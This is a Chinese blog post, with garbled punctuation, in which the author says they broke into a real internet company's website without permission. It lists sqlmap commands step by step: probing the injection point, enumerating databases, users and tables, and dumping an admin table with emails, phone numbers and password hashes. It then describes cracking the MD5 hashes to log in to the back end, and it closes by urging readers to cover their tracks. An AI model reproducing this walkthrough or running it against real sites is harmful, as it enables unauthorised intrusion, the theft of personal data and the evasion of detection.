最近在研究Web安全相關(guān)的知識,,特別是SQL注入類的相關(guān)知識。接觸了一些與SQL注入相關(guān)的工具,。周末在家閑著無聊,,想把平時學(xué)的東東結(jié)合起來攻擊一下身邊某個小伙伴去的公司,看看能不能得逞,。不試不知道,,一試還真TM得逞了,內(nèi)心有些小激動,,特在此寫博文一篇,,來記錄下我是如何一步步攻破這家互聯(lián)網(wǎng)公司的。
【作案工具介紹】
(1) AppScan滲透掃描工具
Appscan是Web應(yīng)用程序滲透測試舞臺上使用最廣泛的工具之一,。它是一個桌面應(yīng)用程序,,它有助于專業(yè)安全人員進行Web應(yīng)用程序自動化脆弱性評估。
(2) Sqlmap滲透測試工具
Sqlmap是一個自動化的SQL注入工具,,其主要功能是掃描,,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞,。
【作案細(xì)節(jié)如下】
首先使用Appscan工具,對www.互聯(lián)網(wǎng)公司的官網(wǎng)進行掃描,,掃描結(jié)果如下:
在這56個安全性問題中,,找到你感興趣的鏈接,例如下面這條:
http://www./system/cms/show?id=1
為何要挑出這一條呢,?因為它對于SQL注入比較典型,,下面普及下SQL注入常用手法。首先用如下語句,,確定該網(wǎng)站是否存在注入點:
http://192.168.16.128/news.php?id=1 原網(wǎng)站
http://192.168.16.128/news.php?id=1’ 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出錯或顯示不正常
如果有出錯,,說明存在注入點。
在判斷完http://www./system/cms/show?id=1該鏈接存在注入點后,,接下來就啟動我們的滲透測試工具Sqlmap,,進行下一步的注入工作,詳細(xì)過程如下:
1) 再次確認(rèn)目標(biāo)注入點是否可用:
python sqlmap.py -u http://www./system/cms/show?id=1
參數(shù):
-u:指定注入點url
結(jié)果:
注入結(jié)果展示:
a. 參數(shù)id存在基于布爾的盲注,,即可以根據(jù)返回頁面判斷條件真假的注入。
b. 參數(shù)id存在基于時間的盲注,,即不能根據(jù)頁面返回內(nèi)容判斷任何信息,,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。
c. 數(shù)據(jù)庫類型為:MySql 5.0.12
2) 暴庫所有數(shù)據(jù)庫:
一條命令即可曝出該sqlserver中所有數(shù)據(jù)庫名稱,,命令如下:
python sqlmap.py -u http://www./system/cms/show?id=1 –dbs
參數(shù):
–dbs:dbs前面有兩條杠,,列出所有數(shù)據(jù)庫。
結(jié)果:
結(jié)果顯示該sqlserver中共包含3個可用的數(shù)據(jù)庫,。
3) 獲取當(dāng)前使用的數(shù)據(jù)庫
python sqlmap.py -u http://www./system/cms/show?id=1 –current-db
參數(shù):
–current-db:當(dāng)前所使用的數(shù)據(jù)庫,。
結(jié)果:
4) 獲取當(dāng)前數(shù)據(jù)庫使用賬戶
python sqlmap.py -u http://www./system/cms/show?id=1 –current-user
5) 列出sqlserver所有用戶
python sqlmap.py -u http://www./system/cms/show?id=1 –users
6) 獲取當(dāng)前用戶數(shù)據(jù)庫賬戶與密碼
python sqlmap.py -u http://www./system/cms/show?id=1 –passwords
結(jié)果顯示該用戶可能無讀取相關(guān)系統(tǒng)的權(quán)限。
7) 列出數(shù)據(jù)庫中的表
python sqlmap.py -u http://www./system/cms/show?id=1 -D xxx_store –tables
參數(shù):
-D:指定數(shù)據(jù)庫名稱
–tables:列出表
結(jié)果:
結(jié)果顯示共列出了69張表,。
8) 列出表中字段
python sqlmap.py -u http://www./system/cms/show?id=1 -D xxx_store -T mall_admin –columns
參數(shù):
-D:指定數(shù)據(jù)庫名稱
-T:指定要列出字段的表
–columns:指定列出字段
結(jié)果:
9)暴字段內(nèi)容
python sqlmap.py -u http://www./system/cms/show?id=1 -D xxx_store -T mall_admin -C “ag_id,email,id,mobile,name,password,status” –dump
參數(shù):
-C :指定要暴的字段
–dump:將結(jié)果導(dǎo)出
如果字段內(nèi)容太多,,需要花費很多時間??梢灾付▽?dǎo)出特定范圍的字段內(nèi)容,,命令如下:
python sqlmap.py -u http://www./system/cms/show?id=1 -D xxx_store -T mall_admin -C “ag_id,email,id,mobile,name,password,status” –start 1 –stop 10 –dump
參數(shù):
–start:指定開始的行
–stop:指定結(jié)束的行
此條命令的含義為:導(dǎo)出數(shù)據(jù)庫xxx_store中的表mall_admin中的關(guān)于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的數(shù)據(jù)內(nèi)容。
結(jié)果如下:
通過上圖,,我們可以看到admin表中的用戶信息了,。我們將password字段通過md5解密,可以得到hash的原文密碼,,通過用戶名和密碼,,我們就可以登錄該網(wǎng)站了。
至此,,我們已成功入侵到一家公司的后臺,,并拿到了相關(guān)的數(shù)據(jù),。不過要在這里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干凈,,不讓別人發(fā)現(xiàn)你了,!